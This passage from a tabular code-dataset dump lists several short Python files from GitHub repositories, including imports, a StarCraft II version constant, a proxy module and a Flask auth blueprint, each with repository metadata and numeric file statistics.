] | 1 | 2018-12-13T02:46:05.000Z | 2018-12-13T02:46:05.000Z | from .learning_rate import cosine_decay, lr_warmup
from .fp16_utils import create_master_params_grads, master_param_to_train_param
| 43.666667 | 79 | 0.89313 | 21 | 131 | 5.047619 | 0.809524 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.016529 | 0.076336 | 131 | 2 | 80 | 65.5 | 0.859504 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
9a3e1c61a3d228c52f300174360bf8d79866838c | 35 | py | Python | python-sc2/sc2/ids/id_version.py | manaccac/sc2_bot | 3aa8b3711378b71fd0a44662cdd7148846e39530 | [
"MIT"
] | 242 | 2019-06-26T22:03:36.000Z | 2022-03-28T19:32:04.000Z | python-sc2/sc2/ids/id_version.py | manaccac/sc2_bot | 3aa8b3711378b71fd0a44662cdd7148846e39530 | [
"MIT"
] | 85 | 2019-06-08T13:22:32.000Z | 2022-03-28T15:52:45.000Z | python-sc2/sc2/ids/id_version.py | manaccac/sc2_bot | 3aa8b3711378b71fd0a44662cdd7148846e39530 | [
"MIT"
] | 111 | 2019-09-13T14:37:13.000Z | 2022-03-31T22:35:14.000Z | ID_VERSION_STRING = "4.11.4.78285"
| 17.5 | 34 | 0.742857 | 7 | 35 | 3.428571 | 0.857143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.28125 | 0.085714 | 35 | 1 | 35 | 35 | 0.46875 | 0 | 0 | 0 | 0 | 0 | 0.342857 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
9a42af90a96cab37a9f2a6cca655a699edb48d98 | 72 | py | Python | Bird-Species/train-by-easy-cnn.py | NCcoco/kaggle-project | bff565bcfa8395c87920068557678566631b8d99 | [
"Apache-2.0"
] | null | null | null | Bird-Species/train-by-easy-cnn.py | NCcoco/kaggle-project | bff565bcfa8395c87920068557678566631b8d99 | [
"Apache-2.0"
] | null | null | null | Bird-Species/train-by-easy-cnn.py | NCcoco/kaggle-project | bff565bcfa8395c87920068557678566631b8d99 | [
"Apache-2.0"
] | null | null | null | import numpy as np
import tensorflow as tf
from util.util import *
| 8 | 23 | 0.736111 | 12 | 72 | 4.416667 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.236111 | 72 | 8 | 24 | 9 | 0.963636 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
9a629d658654c2fc7597b89869ef71dbb5da520f | 72 | py | Python | enthought/savage/traits/ui/qt4/svg_editor.py | enthought/etsproxy | 4aafd628611ebf7fe8311c9d1a0abcf7f7bb5347 | [
"BSD-3-Clause"
] | 3 | 2016-12-09T06:05:18.000Z | 2018-03-01T13:00:29.000Z | enthought/savage/traits/ui/qt4/svg_editor.py | enthought/etsproxy | 4aafd628611ebf7fe8311c9d1a0abcf7f7bb5347 | [
"BSD-3-Clause"
] | 1 | 2020-12-02T00:51:32.000Z | 2020-12-02T08:48:55.000Z | enthought/savage/traits/ui/qt4/svg_editor.py | enthought/etsproxy | 4aafd628611ebf7fe8311c9d1a0abcf7f7bb5347 | [
"BSD-3-Clause"
] | null | null | null | # proxy module
from enable.savage.trait_defs.ui.qt4.svg_editor import *
| 24 | 56 | 0.805556 | 12 | 72 | 4.666667 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.015385 | 0.097222 | 72 | 2 | 57 | 36 | 0.846154 | 0.166667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
9a69b692567dd53434603b9d5310250c16bb3f0b | 131 | py | Python | processing_components/__init__.py | ChrisHad/algorithm-reference-library | bded1b62ea801ea4f4f5bd0794c18cd81d4b2810 | [
"Apache-2.0"
] | null | null | null | processing_components/__init__.py | ChrisHad/algorithm-reference-library | bded1b62ea801ea4f4f5bd0794c18cd81d4b2810 | [
"Apache-2.0"
] | null | null | null | processing_components/__init__.py | ChrisHad/algorithm-reference-library | bded1b62ea801ea4f4f5bd0794c18cd81d4b2810 | [
"Apache-2.0"
] | null | null | null | """ Algorithm Reference Library processing components. These are the processing components exposed to the Execution
Framework
"""
| 26.2 | 115 | 0.80916 | 15 | 131 | 7.066667 | 0.8 | 0.377358 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.137405 | 131 | 4 | 116 | 32.75 | 0.938053 | 0.923664 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
7be9bd78940f12c89bebab43914655ba0bc1e2b8 | 159 | py | Python | app/auth/__init__.py | jpch89/microblog | a72d50fa87db6938f74a125f63704e5b8cad6b75 | [
"MIT"
] | null | null | null | app/auth/__init__.py | jpch89/microblog | a72d50fa87db6938f74a125f63704e5b8cad6b75 | [
"MIT"
] | null | null | null | app/auth/__init__.py | jpch89/microblog | a72d50fa87db6938f74a125f63704e5b8cad6b75 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
# @Author: jpch89
# @Time: 18-9-8 下午5:03
from flask import Blueprint
bp = Blueprint('auth', __name__)
from app.auth import routes
| 15.9 | 32 | 0.660377 | 24 | 159 | 4.208333 | 0.791667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.076923 | 0.18239 | 159 | 9 | 33 | 17.666667 | 0.7 | 0.377358 | 0 | 0 | 0 | 0 | 0.042105 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.666667 | 0 | 0.666667 | 0.666667 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 1 | 0 | 5 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.